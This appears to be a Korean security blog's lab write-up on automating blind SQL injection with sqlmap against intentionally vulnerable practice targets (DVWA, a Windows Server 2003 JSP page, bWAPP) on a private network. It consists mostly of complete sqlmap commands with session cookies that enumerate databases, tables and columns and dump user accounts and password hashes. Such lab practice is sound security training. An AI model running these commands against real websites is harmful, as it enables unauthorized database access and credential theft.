-
Kali Linux - SQLmap을 이용한 SQL Injection 공격 자동화Security 2022. 5. 12. 13:23
SQL Injection 공격 자동화
: DB에 대한 정보가 없는 상태에서 DB에 하나씩 물어보고 Yes or No 형식으로 응답하면 그 정보를 모아서, DB 이름, Table 이름 등을 파악
Blind SQL Injection의 일종 > 반복 작업이 많아서 사람이 일일이 하기는 어려움 > 자동화 도구를 사용하는 이유
실습
Kali Linux의 SQLmap을 이용해서 DVWA(Metasploitable2)에 SQL Injection 공격 자동화하기
-SQLmap의 문법
sudo sqlmap -u "URL 주소" --cookie="쿠키 값"
URL 주소 : DVWA의 SQL Injection(Blind) 메뉴에서 입력창에 1~5 사이의 번호를 한 번 입력한 주소 표시줄의 주소를 사용합니다.
쿠키 값 : 주소표시줄에 javascript:document.cookie 입력하면 화면에 쿠키 값이 나타납니다.
DB 이름 확인
Kali Linux로 돌아와서 URL 주소와 쿠키 값을 넣은 아래의 코드를 입력해줍니다.
sudo sqlmap -u "http://192.168.5.129/dvwa/vulnerabilities/sqli_blind/?id=4&Submit=Submit#" --cookie="security=low; PHPSESSID=d8ecbaee412112b70f62cf04583fd184" --dbs
다음에 물어보는 내용들이 있으면 Y/n, y/N 등의 질문에는 대문자로 된 응답을 해주시면 됩니다.
Table 이름 알아내기
sudo sqlmap -u "http://192.168.5.129/dvwa/vulnerabilities/sqli_blind/?id=4&Submit=Submit#" --cookie="security=low; PHPSESSID=d8ecbaee412112b70f62cf04583fd184" -D dvwa --tables
Column이름 알아내기
sudo sqlmap -u "http://192.168.5.129/dvwa/vulnerabilities/sqli_blind/?id=4&Submit=Submit#" --cookie="security=low; PHPSESSID=d8ecbaee412112b70f62cf04583fd184" -D dvwa -T users --columns
로그인 계정과 비밀번호 알아내기
sudo sqlmap -u "http://192.168.5.129/dvwa/vulnerabilities/sqli_blind/?id=4&Submit=Submit#" --cookie="security=low; PHPSESSID=d8ecbaee412112b70f62cf04583fd184" -D dvwa -T users -C user,password --dump
Kali Linux의 SQLmap을 이용해서 Windows Server 2003에 SQL Injection 공격 자동화하기
URL 주소와 쿠키 값을 먼저 알아내겠습니다.
방법은 위와 동일합니다.
DB 이름 알아내기
sudo sqlmap -u "http://192.168.5.141/jsp/cmnt_view02.jsp?num=1" --cookie="JSESSIONID=C151A35581724C6D75770DDB56586E62" --dbs
하지만 04arg라는 DB에 원하는 정보가 있어서 04arg에서 다음 Table을 확인했습니다.
Table 이름 알아내기
sudo sqlmap -u "http://192.168.5.141/jsp/cmnt_view02.jsp?num=1" --cookie="JSESSIONID=C151A35581724C6D75770DDB56586E62" -D 04arg --tables
Column 이름 알아내기
sudo sqlmap -u "http://192.168.5.141/jsp/cmnt_view02.jsp?num=1" --cookie="JSESSIONID=C151A35581724C6D75770DDB56586E62" -D 04arg -T tbl_member --columns
로그인 계정과 비밀번호 알아내기
sudo sqlmap -u "http://192.168.5.141/jsp/cmnt_view02.jsp?num=1" --cookie="JSESSIONID=C151A35581724C6D75770DDB56586E62" -D 04arg -T tbl_member -C userid,passwd --dump
아무래도 오래 된 버전이다보니 조회가 어려운 것으로 판단됩니다.
Kali Linux의 SQLmap을 이용해서 Bee-Box에 SQL Injection 공격 자동화하기
URL 주소와 쿠키 값을 먼저 알아내겠습니다.
방법은 위와 동일합니다.
DB 이름 알아내기
sudo sqlmap -u "http://192.168.5.139/bWAPP/sqli_4.php?title=man&action=search" --cookie="PHPSESSID=9b73192cb6d88398c2a25894103327a5; security_level=0" --dbs
Table 이름 알아내기
sudo sqlmap -u "http://192.168.5.139/bWAPP/sqli_4.php?title=man&action=search" --cookie="PHPSESSID=9b73192cb6d88398c2a25894103327a5; security_level=0" -D bWAPP --tables
Column 이름 알아내기
sudo sqlmap -u "http://192.168.5.139/bWAPP/sqli_4.php?title=man&action=search" --cookie="PHPSESSID=9b73192cb6d88398c2a25894103327a5; security_level=0" -D bWAPP -T users --columns
id로 유추할 수도 있었지만 아닌 것을 미리 알아서 login Column으로 진행했습니다.
로그인 계정과 비밀번호 알아내기
sudo sqlmap -u "http://192.168.5.139/bWAPP/sqli_4.php?title=man&action=search" --cookie="PHPSESSID=9b73192cb6d88398c2a25894103327a5; security_level=0" -D bWAPP -T users -C login,password --dump
Password 같은 경우는 해쉬값을 Decode해서 표현해준다는 사실까지 알 수 있었습니다.
'Security' 카테고리의 다른 글
HTTP Status Code - HTTP 응답 상태 코드 정리 (0) 2022.05.13 Firewall - 방화벽 (0) 2022.05.12 Backdoor, Trojan Horse, WebDAV, Cadaver, Bee-Box - 백도어, 트로이 목마 WebDAV, Cadaver 사용 Bee-Box 문제 풀이 (0) 2022.05.12 SQL Injection, HTML, Windows Server 2003 Hacking - SQL 인젝션, HTML, 윈도우 서버 2003 해킹 (0) 2022.05.09 Web (0) 2022.05.07